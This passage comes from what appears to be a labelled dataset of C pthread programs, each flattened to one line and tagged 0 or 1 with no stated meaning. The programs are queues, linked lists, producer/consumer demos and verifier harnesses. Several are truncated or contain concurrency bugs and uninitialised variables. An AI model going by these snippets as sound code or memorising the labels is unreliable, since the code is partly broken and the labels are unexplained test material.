(done_creating_jobRequests) { pthread_mutex_unlock(&request_mutex); printf("thread '%d' exiting\\n", thread_id); fflush(stdout); pthread_exit(0); } th = pthread_cond_wait(&got_job_request, &request_mutex); } } } void* task1(void* p_args) { } int main(int argc, char* argv[]) { int i; int thr_id[3]; pthread_t threadPool[3]; struct timespec delay; struct arg_structure args; args.arg1 = 5; args.arg2 = 7; for (i = 0; i < 3; i ++) { thr_id[i] = i; pthread_create(&threadPool[i], 0, handle_Job_Requests, (void*)&thr_id[i]); } for (i = 0; i < 10; i ++) { add_job_request(i, (void*) task1, (void *)&args, &got_job_request, &request_mutex); if (rand() > 3*(32767/4)) { delay.tv_sec = 0; delay.tv_nsec = 1; nanosleep(&delay, 0); } } { int rc; rc = pthread_mutex_lock(&request_mutex); done_creating_jobRequests = 1; rc = pthread_cond_broadcast(&got_job_request); rc = pthread_mutex_unlock(&request_mutex); } for (i=0; i<3; i ++) { void* thr_retval; pthread_join(threadPool[i], &thr_retval); } printf("Glory, we are done.\\n"); return 0; }
0
#include <pthread.h> struct node{ int data; struct node *next; }*start=0; struct node *tmp_node; struct node *prev; int rs,count=0; struct node *current; struct node *lct; void * dis(void *); void * del(void *); pthread_mutex_t lc; pthread_t tid[2]; int bignum = 0; int turn; void create() { struct node *new_node; new_node=(struct node *)malloc(sizeof(struct node)); printf("Enter the data : "); scanf("%d",&new_node->data); new_node->next=0; if(start==0) { start=new_node; current=new_node; printf("Link list created."); } else { printf("\\t*** At start 1.\\tAt End 2.\\tAt Location 3.\\n"); scanf("%d",&rs); if(rs==1){ new_node->next=start; start=new_node; } else if(rs==2){ current->next=new_node; current=new_node; } } } void delete(){ if(start==0) { printf("No Node in the list"); } else { printf("\\t*** At start 1.\\tAt End 2.***\\n"); scanf("%d",&rs); if(rs==1){ tmp_node=start->next; start=tmp_node; } else if(rs==2){ lct=start; printf("%d",lct->data); while(lct->next != current){ lct=lct->next; } current=lct; current->next=0; } } } void * del(void *param){ if(start==0) { printf("No Node in the list"); } else { printf("\\t*** At start 1.\\tAt End 2.***\\n"); scanf("%d",&rs); if(rs==1){ tmp_node=start->next; start=tmp_node; } else if(rs==2){ lct=start; printf("%d",lct->data); while(lct->next != current){ lct=lct->next; } current=lct; current->next=0; } } } void display() { struct node *dis_node; dis_node=start; while(dis_node!=0) { printf(": %d ",dis_node->data); dis_node=dis_node->next; } printf("\\n"); printf("NULL\\n"); } void *dis(void *data){ pthread_mutex_lock(&lc); struct node *dis_node; dis_node=start; while(dis_node!=0) { printf(": %d ",dis_node->data); if(dis_node->data==data){ pthread_mutex_unlock(&lc); } dis_node=dis_node->next; } printf("\\n"); printf("NULL\\n"); } int main(){ int choice; int val; while (1) { printf("\\nNode"); printf("\\nInsert :1\\tDelete :2\\tDisplay :3\\tQuit :4\\tRCU :5\\n"); printf("Enter your choice : "); scanf("%d",&choice); switch (choice) { case 1: create(); break; case 2: delete(); break; case 3: display(); break; case 4: exit(1); case 5: printf("Enter number of node to delete\\n"); scanf("%d",&val); pthread_create(&tid[0], 0,dis,(void*)val); pthread_create(&tid[1], 0,del,0); default: printf("Wrong choice \\n"); } } return 0; }
1
#include <pthread.h> void usage(char *prog) { fprintf(stderr, "usage: %s [-v] [-n num]\\n", prog); exit(-1); } int verbose; int nthread=2; char *dir="/tmp"; char *file; struct work_t *next; } work_t; work_t *head,*tail; pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond = PTHREAD_COND_INITIALIZER; void *worker(void *data) { work_t *w; again: pthread_mutex_lock(&mtx); while (!head) pthread_cond_wait(&cond, &mtx); w = head; head = head->next; if (w==tail) tail=0; if (verbose) fprintf(stderr,"thread %d claimed %s\\n", (int)data, w->file); pthread_mutex_unlock(&mtx); sleep(1); free(w->file); free(w); goto again; } union { struct inotify_event ev; char buf[sizeof(struct inotify_event) + PATH_MAX]; } eb; char *get_file(int fd, void **nx) { struct inotify_event *ev; static int rc=0; size_t sz; if (*nx) ev = *nx; else { rc = read(fd,&eb,sizeof(eb)); if (rc < 0) return 0; ev = &eb.ev; } sz = sizeof(*ev) + ev->len; rc -= sz; *nx = (rc > 0) ? ((char*)ev + sz) : 0; return ev->len ? ev->name : dir; } int main(int argc, char *argv[]) { int opt, fd, wd,i; pthread_t *th; void *nx=0; work_t *w; char *f; while ( (opt = getopt(argc, argv, "v+n:d:")) != -1) { switch(opt) { case 'v': verbose++; break; case 'n': nthread=atoi(optarg); break; case 'd': dir=strdup(optarg); break; default: usage(argv[0]); } } if (optind < argc) usage(argv[0]); th = malloc(sizeof(pthread_t)*nthread); for(i=0; i < nthread; i++) pthread_create(&th[i],0,worker,(void*)i); fd = inotify_init(); wd = inotify_add_watch(fd,dir,IN_CLOSE); while ( (f=get_file(fd,&nx))) { w = malloc(sizeof(*w)); w->file=strdup(f); w->next=0; pthread_mutex_lock(&mtx); if (tail) { tail->next=w; tail=w;} else head=tail=w; if (verbose) fprintf(stderr,"queued %s\\n", w->file); pthread_mutex_unlock(&mtx); pthread_cond_signal(&cond); } close(fd); }
0
#include <pthread.h> pthread_mutex_t mutex_task_H,mutex_task_O; pthread_cond_t task_O,task_H,next_task_O,next_task_H; long n,m; int notask=0; int H=0,O=0,H2O=0; void* create_molec_H(void* rank){ long my_rank = (long) rank; pthread_mutex_lock(&mutex_task_H); H++; pthread_mutex_unlock(&mutex_task_H); pthread_mutex_lock(&mutex_task_H); if(H>2){ pthread_cond_signal(&task_H); pthread_cond_wait(&next_task_H,&mutex_task_H); }pthread_mutex_unlock(&mutex_task_H); } void* create_molec_O(void* rank){ long my_rank = (long) rank; pthread_mutex_lock(&mutex_task_O); O++; pthread_mutex_unlock(&mutex_task_O); pthread_mutex_lock(&mutex_task_O); if(O>1){ pthread_cond_signal(&task_O); pthread_cond_wait(&next_task_O,&mutex_task_O); } pthread_mutex_unlock(&mutex_task_O); } void* create_molec_H2O(void* rank){ long my_rank = (long) rank; while(1){ pthread_mutex_lock(&mutex_task_H); pthread_mutex_lock(&mutex_task_O); pthread_cond_wait(&task_H,&mutex_task_H); pthread_cond_wait(&task_O,&mutex_task_O); H-=2; O--; H2O++; pthread_cond_signal(&next_task_H); pthread_cond_signal(&next_task_O); pthread_mutex_unlock(&mutex_task_H); pthread_mutex_unlock(&mutex_task_O); if(notask==1)break; } } int main(){ FILE* f; f = fopen("molecules.txt","r"); fscanf(f,"%ld%ld",&n,&m); fclose(f); pthread_t *pthread_handles; pthread_mutex_init(&mutex_task_H,0); pthread_mutex_init(&mutex_task_O,0); pthread_cond_init(&task_O,0); pthread_cond_init(&task_H,0); pthread_cond_init(&next_task_O,0); pthread_cond_init(&next_task_H,0); long z = n+m; pthread_handles = malloc(sizeof(pthread_t)*(n*m+1)); for (long i = 0; i<n; i++) pthread_create(&pthread_handles[i],0,create_molec_H,(void*) i); for (long i = n; i<n+m; i++) pthread_create(&pthread_handles[i],0,create_molec_O,(void*) i); pthread_create(&pthread_handles[n+m],0,create_molec_H2O,(void*) n+m); for (int i = 0; i < 10000000; i++); notask=1; printf("YES\\n" ); for (long i = 0; i < n+m+1; i++) pthread_join(pthread_handles[i],0); free(pthread_handles); pthread_mutex_destroy(&mutex_task_H); pthread_mutex_destroy(&mutex_task_O); pthread_cond_destroy(&task_H); pthread_cond_destroy(&task_O); f = fopen("water.txt","w"); fprintf(f,"Water molecules: %d\\n",H2O); fprintf(f,"Hydrogen: %d\\n",H); fprintf(f,"Oxygen: %d\\n",O); return 0; }
1
#include <pthread.h>extern void __VERIFIER_error() ; unsigned int __VERIFIER_nondet_uint(); static int top=0; static unsigned int arr[(5)]; pthread_mutex_t m; _Bool flag=(0); void error(void) { ERROR: __VERIFIER_error(); return; } void inc_top(void) { top++; } void dec_top(void) { top--; } int get_top(void) { return top; } int stack_empty(void) { (top==0) ? (1) : (0); } int push(unsigned int *stack, int x) { if (top==(5)) { printf("stack overflow\\n"); return (-1); } else { stack[get_top()] = x; inc_top(); } return 0; } int pop(unsigned int *stack) { if (top==0) { printf("stack underflow\\n"); return (-2); } else { dec_top(); return stack[get_top()]; } return 0; } void *t1(void *arg) { int i; unsigned int tmp; for( i=0; i<(5); i++) { pthread_mutex_lock(&m); tmp = __VERIFIER_nondet_uint()%(5); if ((push(arr,tmp)==(-1))) error(); pthread_mutex_unlock(&m); } } void *t2(void *arg) { int i; for( i=0; i<(5); i++) { pthread_mutex_lock(&m); if (top>0) { if ((pop(arr)==(-2))) error(); } pthread_mutex_unlock(&m); } } int main(void) { pthread_t id1, id2; pthread_mutex_init(&m, 0); pthread_create(&id1, 0, t1, 0); pthread_create(&id2, 0, t2, 0); pthread_join(id1, 0); pthread_join(id2, 0); return 0; }
0
#include <pthread.h> void show_alloc_mem(void) { pthread_mutex_lock(mutex_sglton()); print_mem(FALSE); pthread_mutex_unlock(mutex_sglton()); } void show_freed_mem(void) { pthread_mutex_lock(mutex_sglton()); ft_putstr("Memory freed:\\n"); print_mem(TRUE); pthread_mutex_unlock(mutex_sglton()); }
1
#include <pthread.h> static void *self; static int uim_fd; static char *prop; static pthread_t twatch; static pthread_mutex_t mutex; static void *uimwatch(void *); static ssize_t xwrite(int fd, const char *buf, size_t size); const char* load(const char* dsopath) { struct sockaddr_un server; char *path; if (uim_fd != 0) return 0; self = dlopen(dsopath, RTLD_LAZY); if (self == 0) return strerror(errno); path = uim_helper_get_pathname(); bzero(&server, sizeof(server)); server.sun_family = PF_UNIX; do { strncpy(server.sun_path, path, sizeof(server.sun_path)); server.sun_path[sizeof(server.sun_path) - 1] = '\\0'; } while (0); free(path); uim_fd = socket(PF_UNIX, SOCK_STREAM, 0); if (uim_fd < 0) { dlclose(self); return "error socket()"; } if (connect(uim_fd, (struct sockaddr *)&server, sizeof(server)) != 0) { shutdown(uim_fd, SHUT_RDWR); close(uim_fd); dlclose(self); return "cannot connect to uim-helper-server"; } if (uim_helper_check_connection_fd(uim_fd) != 0) { shutdown(uim_fd, SHUT_RDWR); close(uim_fd); dlclose(self); return "error uim_helper_check_connection_fd()"; } if (pthread_mutex_init(&mutex, 0) != 0) { shutdown(uim_fd, SHUT_RDWR); close(uim_fd); dlclose(self); return "error pthread_mutex_init()"; } if (pthread_create(&twatch, 0, uimwatch, (void *)0) != 0) { shutdown(uim_fd, SHUT_RDWR); close(uim_fd); dlclose(self); return "error pthread_create()"; } return 0; } const char* unload() { if (uim_fd == 0) return 0; shutdown(uim_fd, SHUT_RDWR); close(uim_fd); pthread_join(twatch, 0); pthread_mutex_destroy(&mutex); dlclose(self); return 0; } const char* get_prop() { static char *p = 0; if (uim_fd == 0) return 0; pthread_mutex_lock(&mutex); if (prop) { if (p) free(p); p = prop; prop = 0; } pthread_mutex_unlock(&mutex); return p; } const char* send_message(const char* msg) { if (uim_fd == 0) return 0; xwrite(uim_fd, msg, strlen(msg)); xwrite(uim_fd, "\\n", 1); return 0; } static void * uimwatch(void *nouse) { char tmp[1024]; char *buf = strdup(""); char *p; struct pollfd pfd; ssize_t n; pfd.fd = uim_fd; pfd.events = (POLLIN | POLLPRI); for (;;) { do { n = poll(&pfd, 1, -1); } while (n == -1 && errno == EINTR); if (n == -1) break; if (pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) break; do { n = read(uim_fd, tmp, sizeof(tmp)); } while (n == -1 && errno == EINTR); if (n == 0 || n == -1) break; if (tmp[0] == 0) continue; buf = uim_helper_buffer_append(buf, tmp, n); while ((p = uim_helper_buffer_get_message(buf)) != 0) { if (strncmp(p, "prop_list_update", sizeof("prop_list_update") - 1) == 0) { pthread_mutex_lock(&mutex); if (prop) free(prop); prop = p; pthread_mutex_unlock(&mutex); } else { free(p); } } } return 0; } static ssize_t xwrite(int fd, const char *buf, size_t size) { ssize_t n; size_t s = 0; while (s < size) { do { n = write(uim_fd, buf + s, size - s); } while (n == -1 && errno == EINTR); if (n == -1) return -1; s += n; } return s; }
0
#include <pthread.h> unsigned int TEST_VALUE_D[3][3] = { {REG_INTERRUPT_MASK_0, 0x555555, FALSE}, {REG_INTERRUPT_MASK_1, 0x123456, FALSE}, {REG_USB, 0xFF7777, FALSE} }; int VT_mc13783_D_setup(void) { int rv = TFAIL; rv = TPASS; return rv; } int VT_mc13783_D_cleanup(void) { int rv = TFAIL; rv = TPASS; return rv; } int VT_mc13783_test_D(void) { int rv = TPASS, fd, i = 0; unsigned int val; fd = open(MC13783_DEVICE, O_RDWR); if (fd < 0) { pthread_mutex_lock(&mutex); tst_resm(TFAIL, "Unable to open %s", MC13783_DEVICE); pthread_mutex_unlock(&mutex); return TFAIL; } for (i = 0; i < 3; i++) { if (VT_mc13783_opt(fd, CMD_WRITE, TEST_VALUE_D[i][0], &(TEST_VALUE_D[i][1])) != TPASS) { rv = TFAIL; TEST_VALUE_D[i][2] = TRUE; } else { if (VT_mc13783_opt (fd, CMD_READ, TEST_VALUE_D[i][0], &val) != TPASS) { rv = TFAIL; TEST_VALUE_D[i][2] = TRUE; } else if (val != TEST_VALUE_D[i][1]) { pthread_mutex_lock(&mutex); tst_resm(TFAIL, "Value 0x%X haven't been writed" " to reg %d", TEST_VALUE_D[i][1], TEST_VALUE_D[i][0]); pthread_mutex_unlock(&mutex); TEST_VALUE_D[i][2] = TRUE; rv = TFAIL; } } } for (i = 0; i < 3; i++) { if (TEST_VALUE_D[i][2] == FALSE) { if (VT_mc13783_opt (fd, CMD_READ, TEST_VALUE_D[i][0], &val) != TPASS) { rv = TFAIL; } else if (val != TEST_VALUE_D[i][1]) { pthread_mutex_lock(&mutex); tst_resm(TFAIL, "Value 0x%X haven't been " "changed since writing to reg %d", val, TEST_VALUE_D[i][0]); pthread_mutex_unlock(&mutex); rv = TFAIL; } } } if (close(fd) < 0) { pthread_mutex_lock(&mutex); tst_resm(TFAIL, "Unable to close file descriptor %d", fd); pthread_mutex_unlock(&mutex); return TFAIL; } return rv; }
1
#include <pthread.h> int r; pthread_t t; int thread_status[32]; int thread_stop[32]; int thread_time[32]; int thread_time_max[32]; int print_rt_stat() { int i; for(i = 0; i < 5; i++) { printf("rt_thread_status [%d] = %d",i,thread_status[i]); printf("\\033[1E"); } return 0; } void* rt_thread(){ thread_time[0] = mtime(); thread_status[0]=1; pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, 0); pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS,0); pthread_mutex_lock(&mutex); if(thread_status[1]!=3) { thread_time[1]=mtime(); thread_status[1]=1; DUVS_Main(model.o_P,model.i_Moment); thread_status[1]=2; thread_time[1] = mtime()-thread_time[1]; } if(thread_time[1]>thread_time_max[1]) thread_time_max[1]=thread_time[1];; if(thread_status[2]!=3) { thread_time[2]=mtime(); thread_status[2]=1; Mdl_DOR_Main(model.i_Moment,model.M_o_Omg,model.o_Quat); thread_status[2]=2; thread_time[2] = mtime()-thread_time[2]; } if(thread_time[2]>thread_time_max[2]) thread_time_max[2]=thread_time[2];; if(thread_status[3]!=3) { thread_time[3]=mtime(); thread_status[3]=1; MIUS_Main(model.M_o_Omg,model.o_Omg); thread_status[3]=2; thread_time[3] = mtime()-thread_time[3]; } if(thread_time[3]>thread_time_max[3]) thread_time_max[3]=thread_time[3];; if(thread_status[4]!=3) { thread_time[4]=mtime(); thread_status[4]=1; model.Sn=Sun_Dat(model.o_Quat,model.S_i,model.S_cck,model.Sn); thread_status[4]=2; thread_time[4] = mtime()-thread_time[4]; } if(thread_time[4]>thread_time_max[4]) thread_time_max[4]=thread_time[4];; pthread_mutex_unlock(&mutex); thread_status[0]=2; thread_time[0] = mtime()-thread_time[0]; if(thread_time[0]>thread_time_max[0]) thread_time_max[0]=thread_time[0]; return 0; } int rt_disp_start(){ int j; for (j=1;j<6;j++){ if (thread_status[j]==1) thread_stop[j]++; else thread_stop[j]=0; if (thread_stop[j]>2){ thread_status[j]=3; printf("\\nthread_status[%d] = %d\\n",j,thread_status[j]); } } r=pthread_create(&t,0,(void *(*)(void *))rt_thread,0); if (r!=0){ perror("pthread_create"); } return 0; } int rt_disp_wait() { r=pthread_join(t,0); if (r!=0){ perror("pthread_join"); } return 0; } int rt_disp_stop(){ if (thread_status[0]==1){ r=pthread_cancel(t); if (r!=0){ perror("pthread_cancel"); } r=pthread_join(t,0); if (r!=0){ perror("pthread_join"); } printf("thread Stop Erorr\\n"); }else { if (thread_status[0]!=0){ r=pthread_join(t,0); if (r!=0){ perror("pthread_join"); } } } return 0; } int load_serttings() { int k,i,l; unsigned int j; FILE* f; char str[2][100]; char* read[10]; read[0] = "model.M_o_Omg[0]"; read[1] = "model.M_o_Omg[1]"; read[2] = "model.M_o_Omg[2]"; f = fopen("c:/settings.ini","r+"); while(fgets(str[0],sizeof(str[0]),f)) { for(i=0;i<3;i++) if(strstr(str[0],read[i])!=0) { for(j = 0;j <= strlen(str[0]);j++) if (str[0][j]=='=') k=j+1; l=0; while(str[0][k]!=';'){ if(str[0][k]!= ' ') { str[1][l]=str[0][k]; l++; } k++; } printf("str[1] = %f\\n",atof(str[1])); switch(i) { case 0: model.M_o_Omg[0] = atof(str[1])*3.14/180; case 1: model.M_o_Omg[1] = atof(str[1])*3.14/180; case 2: model.M_o_Omg[2] = atof(str[1])*3.14/180; } memset(str[1],0,100); } } for (i=0;i<3;i++) { model.i_Moment[i]=0; model.o_Omg[i] = 0; } fclose(f); return 0; } int Model_init() { load_serttings(); return 0; }
0
#include <pthread.h> void *functionC(); pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER; int counter = 0; int main() { int rc1, rc2; pthread_t thread1, thread2; if( (rc1=pthread_create( &thread1, 0, &functionC, 0)) ) { printf("Thread creation failed: %d\\n", rc1); } if( (rc2=pthread_create( &thread2, 0, &functionC, 0)) ) { printf("Thread creation failed: %d\\n", rc2); } printf("Hello from main\\n"); pthread_join( thread1, 0); pthread_join( thread2, 0); printf("Exit from main\\n"); return 0; exit(0); } void *functionC() { pthread_mutex_lock( &mutex1 ); counter++; printf("Counter value: %d\\n",counter); pthread_mutex_unlock( &mutex1 ); }
1
#include <pthread.h> pthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t conda = PTHREAD_COND_INITIALIZER; pthread_cond_t condb = PTHREAD_COND_INITIALIZER; pthread_cond_t condc = PTHREAD_COND_INITIALIZER; char * msg = "A"; void * printA(void * arg){ int i; for(i = 0 ; i < 10 ; i++){ pthread_mutex_lock(&mut); while(strcmp(msg , "A") != 0){ pthread_cond_wait(&conda,&mut); } printf("%s",msg); msg = "B"; pthread_cond_signal(&condb); pthread_mutex_unlock(&mut); sleep(1); } } void * printB(void * arg){ int i; for(i = 0 ; i < 10 ; i++){ pthread_mutex_lock(&mut); while(strcmp(msg , "B") != 0){ pthread_cond_wait(&condb,&mut); } printf("%s",msg); msg = "C"; pthread_cond_signal(&condc); pthread_mutex_unlock(&mut); sleep(1); } } void * printC(void * arg){ int i; for(i = 0 ; i < 10 ; i++){ pthread_mutex_lock(&mut); while(strcmp(msg , "C") != 0){ pthread_cond_wait(&condc,&mut); } printf("%s\\n",msg); msg = "A"; pthread_cond_signal(&conda); pthread_mutex_unlock(&mut); sleep(1); } } int main(){ int i; pthread_t threads[3]; pthread_create(&threads[0] , 0, printA,0); pthread_create(&threads[1] , 0, printB,0); pthread_create(&threads[2] , 0, printC,0); for(i = 0; i< 3;i++){ pthread_join(threads[i] , 0); } exit(0); }
0
#include <pthread.h> int n = 0; pthread_mutex_t myLock = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t qReady = PTHREAD_COND_INITIALIZER; void * threadFunc(void *); int main(int argc, const char *argv[]) { int err = 0; pthread_t tid[3]; void *tret; for (int i = 0; i < 3; ++i) { err = pthread_create(&tid[i], 0, threadFunc, (void *)&i); } for (int i = 0; i < 3; ++i) { err = pthread_join(tid[i], &tret); } return 0; } void *threadFunc(void *arg) { int param = *((int *)arg); char c = 'A' + param; int rc; for (int i = 0; i < 10; ++i) { pthread_mutex_lock(&myLock); while (param != n) { rc = pthread_cond_wait(&qReady, &myLock); } putchar(c); ++n; n = n %= 3; pthread_mutex_unlock(&myLock); pthread_cond_broadcast(&qReady); } return (void *)0; }
1
#include <pthread.h> pthread_mutex_t mutex1; pthread_cond_t mutex1c; Bool cont = FALSE; unsigned int score1 = 0; unsigned int score2 = 0; void battleship(void *battleshiparg); pthread_mutex_t mutex2; pthread_cond_t mutex2c; Bool MainThreadWaiting = FALSE; void *simulation(void *simulationx){ unsigned int X; long unsigned int sim_num = (long unsigned int)simulationx; pthread_mutex_lock(&mutex1); pthread_cond_wait(&mutex1c, &mutex1); while ( TRUE ) { if ( cont ) { pthread_mutex_unlock(&mutex1); } else { pthread_mutex_unlock(&mutex1); pthread_exit(0); } battleship(0); while ( TRUE ) { pthread_mutex_lock(&mutex2); if ( MainThreadWaiting == TRUE ) { MainThreadWaiting = FALSE; break; } pthread_mutex_unlock(&mutex2); } pthread_mutex_lock(&mutex1); pthread_cond_signal(&mutex2c); pthread_mutex_unlock(&mutex2); pthread_cond_wait(&mutex1c, &mutex1); } } void battleship(void *battleshiparg){ const char loadmap1[] = "map1.csv"; const char loadmap2[] = "map2.csv"; const char filepath[] = "record.txt"; int map1[10][10]; int map2[10][10]; int player1 = 17; int player2 = 17; int temp; int b, c, m, n; unsigned int flag = 0; FILE *map1open = fopen(loadmap1, "r"); if ( map1open ) { size_t i, j, k; char buffer[1024], *point; for ( i = 0; fgets(buffer, sizeof buffer, map1open); ++i ) { for ( j = 0, point = buffer; j < (sizeof(*map1)/sizeof(*(*map1))); ++j, ++point ) { map1[i][j] = (int)strtol(point, &point, 10); } } fclose(map1open); } FILE *map2open = fopen(loadmap2, "r"); if ( map2open ) { size_t i, j, k; char buffer[1024], *point; for ( i = 0; fgets(buffer, sizeof buffer, map2open); ++i ) { for ( j = 0, point = buffer; j < (sizeof(*map2)/sizeof(*(*map2))); ++j, ++point ) { map2[i][j] = (int)strtol(point, &point, 10); } } fclose(map2open); } while((player1 != 0) && (player2 != 0)){ if(flag == 0){ temp = map1[b][c]; if(temp == 1){ player1--; map1[b][c] = 0; } else{ c++; if(c == 10){ c = 0; b++; } flag = 1; } } else{ m = rand() % 10; n = rand() % 10; temp = map2[m][n]; if(temp == 1){ player2--; map2[m][n] = 2; } else if(temp == 2){ } else{ map2[m][n] = 2; flag = 0; } } } if(player1 == 0){ score1++; FILE *file = fopen(filepath, "ab"); if (file != 0) { fputs("Player 1 Wins\\n", file); fclose(file); } } else if(player2 == 0){ score2++; FILE *file = fopen(filepath, "ab"); if (file != 0) { fputs("Player 2 Wins\\n", file); fclose(file); } } } int main(){ long unsigned int sim_number; unsigned int X; unsigned int Y; pthread_t Threads[1000]; pthread_attr_t attr; pthread_mutex_init(&mutex2, 0); pthread_cond_init (&mutex2c, 0); pthread_mutex_init(&mutex1, 0); pthread_cond_init (&mutex1c, 0); pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); for ( sim_number = 0; sim_number < 1000; sim_number++ ) pthread_create(&Threads[sim_number], &attr, simulation, (void *)sim_number); sleep(1); for ( X = 0; X < 1; X++ ) { pthread_mutex_lock(&mutex1); cont = TRUE; pthread_mutex_lock(&mutex2); pthread_cond_broadcast(&mutex1c); pthread_mutex_unlock(&mutex1); for ( Y = 0; Y < 1000; Y++ ) { MainThreadWaiting = TRUE; pthread_cond_wait(&mutex2c, &mutex2); } pthread_mutex_unlock(&mutex2); } pthread_mutex_lock(&mutex1); cont = FALSE; pthread_cond_broadcast(&mutex1c); pthread_mutex_unlock(&mutex1); for ( X = 0; X < 1000; X++ ) { pthread_join(Threads[X], 0); } if(score1 > score2){ printf("%u : %u in Player 1's favor", score1, score2); } else if(score1 < score2){ printf("%u : %u in Player 2's favor", score2, score1); } else{ printf("Tie Game, Players are equal 500/500"); } pthread_attr_destroy(&attr); pthread_mutex_destroy(&mutex2); pthread_cond_destroy(&mutex2c); pthread_mutex_destroy(&mutex1); pthread_cond_destroy(&mutex1c); pthread_exit (0); }
0
#include <pthread.h> static char running = 1; static long long counter = 0; pthread_mutex_t c_mutex; int i; void *process (void *arg) { while (running) { pthread_mutex_lock (&c_mutex); if (i > 4) pthread_exit (0); counter++; pthread_mutex_unlock (&c_mutex); } pthread_exit (0); } int main (int argc, char **argv) { pthread_t threadId; void *retval; pthread_mutex_init (&c_mutex, 0); if (pthread_create (&threadId, 0, process, "0")) { perror("pthread_create"); exit(errno); }; for (i = 0; i < 10; i++) { sleep (1); pthread_mutex_lock (&c_mutex); printf ("%lld\\n", counter); pthread_mutex_unlock (&c_mutex); } running = 0; if (pthread_join (threadId, &retval)) { perror("pthread_join"); exit(errno); }; return 0; }
1
#include <pthread.h> pthread_mutex_t Mutex; pthread_mutexattr_t MutexAttr; pthread_cond_t Cond = PTHREAD_COND_INITIALIZER; int Resource = 10; void *producer(void *arg) { int id = *(int *)arg; while (1) { pthread_mutex_lock(&Mutex); while (Resource > 0) { printf("p%d: wait\\n", id); pthread_cond_wait(&Cond, &Mutex); } if (Resource == 0) { Resource += 10; printf("p%d: %d\\n", id, Resource); } pthread_mutex_unlock(&Mutex); sleep(5); } return 0; } void *consumer(void *arg) { int id = *(int *)arg; while (1) { pthread_mutex_lock(&Mutex); if (Resource > 0) { Resource--; printf("c%d: %d\\n", id, Resource); } if (Resource == 0) { printf("c%d: signal\\n", id); pthread_cond_signal(&Cond); } pthread_mutex_unlock(&Mutex); sleep(2); } return 0; } int main(void) { int p[3] = {1, 2, 3}; void *retval; pthread_t tid_p; pthread_t tid_c1, tid_c2, tid_c3; if (pthread_mutexattr_init(&MutexAttr) == -1) perror("pthread_mutexattr_init error"); if (pthread_mutexattr_settype(&MutexAttr, PTHREAD_MUTEX_NORMAL) == -1) perror("pthread_mutexattr_settype error"); if (pthread_mutex_init(&Mutex, &MutexAttr) == -1) perror("pthread_mutex_init error"); if (pthread_create(&tid_p, 0, producer, &p[0])== -1) perror("pthread_create error"); if (pthread_create(&tid_c1, 0, consumer, &p[0])== -1) perror("pthread_create error"); if (pthread_create(&tid_c2, 0, consumer, &p[1])== -1) perror("pthread_create error"); if (pthread_create(&tid_c3, 0, consumer, &p[2])== -1) perror("pthread_create error"); pthread_join(tid_p, &retval); printf("retval = %d\\n", *(int *)retval); pthread_join(tid_c1, &retval); printf("retval = %d\\n", *(int *)retval); pthread_join(tid_c2, &retval); printf("retval = %d\\n", *(int *)retval); pthread_join(tid_c3, &retval); printf("retval = %d\\n", *(int *)retval); return 0; }
0
#include <pthread.h> int buffer = 5; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; void *Productor(void *threadid) { printf("Productor\\n"); while (1){ sleep(5); if (buffer == 10){ }else{ printf("Produciendo...\\t"); pthread_mutex_lock (&mutex); buffer++; pthread_mutex_unlock (&mutex); printf("Buffer: %d\\n", buffer); } } pthread_exit(0); } void *Consumidor(void *threadid) { printf("Consumidor\\n"); while (1){ sleep(1); if (buffer == 0){ }else{ printf("Consumiendo...\\t"); pthread_mutex_lock (&mutex); buffer--; pthread_mutex_unlock (&mutex); printf("Buffer: %d\\n", buffer); } } pthread_exit(0); } int main (int argc, char *argv[]) { pthread_t threads[2]; int rp = 0; int rc = 0; long t = 0; printf("In main: creating thread productor\\n"); rp = pthread_create( &threads[0], 0, Productor, (void *)t); if ( rp ) { printf("ERROR; return code from pthread_create() is %d\\n", rc); exit(-1); } printf("In main: creating thread consumidor\\n"); rc = pthread_create( &threads[1], 0, Consumidor, (void *)t); if ( rc ) { printf("ERROR; return code from pthread_create() is %d\\n", rc); exit(-1); } pthread_exit(0); }
1
#include <pthread.h> pthread_mutex_t mutex; pthread_cond_t cond; int test_cond = 1; void* producerFun1(void *arg) { pthread_mutex_t mutex1; pthread_mutex_init(&mutex1,0); printf("func:%s arg:%d\\n", __func__ , (*(int*)arg)); while(1) { pthread_mutex_lock(&mutex1); if(test_cond == 1) { test_cond++; printf("func:%s test_cond++:%d\\n", __func__, test_cond); } pthread_cond_signal(&cond); pthread_mutex_unlock(&mutex1); } return 0; } void* producerFun2(void *arg) { printf("func:%s arg:%d\\n", __func__ , (*(int*)arg)); while(1) { pthread_mutex_lock(&mutex); if(test_cond == 2) { test_cond++; printf("func:%s test_cond++:%d\\n", __func__, test_cond); } pthread_cond_signal(&cond); pthread_mutex_unlock(&mutex); } return 0; } void* producerFun3(void *arg) { printf("func:%s arg:%d\\n", __func__ , (*(int*)arg)); while(1) { pthread_mutex_lock(&mutex); if(test_cond == 3) { test_cond++; printf("func:%s test_cond++:%d\\n", __func__, test_cond); } pthread_cond_signal(&cond); pthread_mutex_unlock(&mutex); } return 0; } void* producerFun4(void *arg) { printf("func:%s arg:%d\\n", __func__ , (*(int*)arg)); while(1) { pthread_mutex_lock(&mutex); if(test_cond >= 3) { test_cond++; pthread_cond_signal(&cond); printf("func:%s test_cond++:%d\\n", __func__, test_cond); if(test_cond>=6) { pthread_mutex_unlock(&mutex); return 0; } } pthread_cond_signal(&cond); pthread_mutex_unlock(&mutex); } return 0; } void* producerFun(void *arg) { printf("func:%s arg:%d\\n", __func__ , (*(int*)arg)); while(1) { pthread_mutex_lock(&mutex); if(test_cond >= 6) { pthread_mutex_unlock(&mutex); return 0; } if(test_cond >= 5) pthread_cond_signal(&cond); test_cond++; printf("func:%s test_cond:%d\\n", __func__, test_cond); pthread_mutex_unlock(&mutex); } return arg; } void* consumerFun(void *arg) { printf("func:%s arg:%d\\n", __func__ , (*(int*)arg)); while(1) { pthread_mutex_lock(&mutex); if(test_cond <=5) { pthread_cond_wait(&cond, &mutex); pthread_mutex_unlock(&mutex); } else { printf("func:%s pthread_cond_wait test_cond:%d\\n", __func__, test_cond); pthread_mutex_unlock(&mutex); return 0; } } return 0; } int 